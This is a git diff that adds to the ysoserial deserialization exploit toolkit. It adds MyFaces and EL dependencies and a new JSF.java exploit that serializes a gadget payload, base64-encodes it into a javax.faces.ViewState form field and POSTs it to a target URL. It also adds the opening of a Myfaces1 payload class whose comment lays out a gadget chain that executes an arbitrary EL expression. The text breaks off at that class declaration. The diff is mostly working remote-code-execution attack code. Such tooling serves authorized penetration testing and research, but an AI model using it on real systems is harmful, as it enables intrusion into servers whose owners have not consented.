diff --git a/pom.xml b/pom.xml
index 66d97e2..4f1264a 100644
--- a/pom.xml
+++ b/pom.xml
@@ -75,12 +75,12 @@
test
- org.nanohttpd
- nanohttpd
- 2.2.0
- test
+ org.nanohttpd
+ nanohttpd
+ 2.2.0
+ test
-
+
@@ -169,6 +169,16 @@
c3p0
0.9.5.2
+
+ javax.servlet
+ javax.servlet-api
+ 3.1.0
+
+
+ org.apache.myfaces.core
+ myfaces-impl
+ 2.2.9
+
@@ -203,5 +213,45 @@
+
+
+ apache-el
+
+ true
+
+ el
+ apache
+
+
+
+
+ org.mortbay.jasper
+ apache-el
+ 8.0.27
+
+
+
+
+
+ juel
+
+
+ el
+ juel
+
+
+
+
+ de.odysseus.juel
+ juel-impl
+ 2.2.7
+
+
+ de.odysseus.juel
+ juel-api
+ 2.2.7
+
+
+
diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java
new file mode 100644
index 0000000..7706d58
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JSF.java
@@ -0,0 +1,68 @@
+package ysoserial.exploit;
+
+
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.URLEncoder;
+
+import org.apache.commons.codec.binary.Base64;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ * @author mbechler
+ *
+ */
+public class JSF {
+
+ /**
+ * @param args
+ */
+ public static void main ( String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JSF.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
+
+ try {
+ URL u = new URL(args[ 0 ]);
+
+ URLConnection c = u.openConnection();
+ if ( ! ( c instanceof HttpURLConnection ) ) {
+ throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$
+ }
+
+ HttpURLConnection hc = (HttpURLConnection) c;
+ hc.setDoOutput(true);
+ hc.setRequestMethod("POST");
+ hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
+ OutputStream os = hc.getOutputStream();
+
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(bos);
+ oos.writeObject(payloadObject);
+ oos.close();
+ byte[] data = bos.toByteArray();
+ String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
+ os.write(requestBody.getBytes("US-ASCII"));
+ os.close();
+
+ System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+
+ }
+
+
+
+}
diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java
new file mode 100644
index 0000000..b0bf797
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Myfaces1.java
@@ -0,0 +1,92 @@
+package ysoserial.payloads;
+
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+
+import javax.el.ELContext;
+import javax.el.ExpressionFactory;
+import javax.el.ValueExpression;
+import javax.servlet.ServletContext;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+
+import org.apache.myfaces.context.servlet.FacesContextImpl;
+import org.apache.myfaces.context.servlet.FacesContextImplBase;
+import org.apache.myfaces.el.CompositeELResolver;
+import org.apache.myfaces.el.unified.FacesELContext;
+import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
+
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+
+/**
+ *
+ * ValueExpressionImpl.getValue(ELContext)
+ * ValueExpressionMethodExpression.getMethodExpression(ELContext)
+ * ValueExpressionMethodExpression.getMethodExpression()
+ * ValueExpressionMethodExpression.hashCode()
+ * HashMap.hash(Object)
+ * HashMap.readObject(ObjectInputStream)
+ *
+ * Arguments:
+ * - an EL expression to execute
+ *
+ * Requires:
+ * - MyFaces
+ * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
+ *
+ * @author mbechler
+ */
+@SuppressWarnings ( {
+ "nls", "javadoc"
+} )
+@PayloadTest(skip="Requires running MyFaces, no direct execution")
+public class Myfaces1 implements ObjectPayload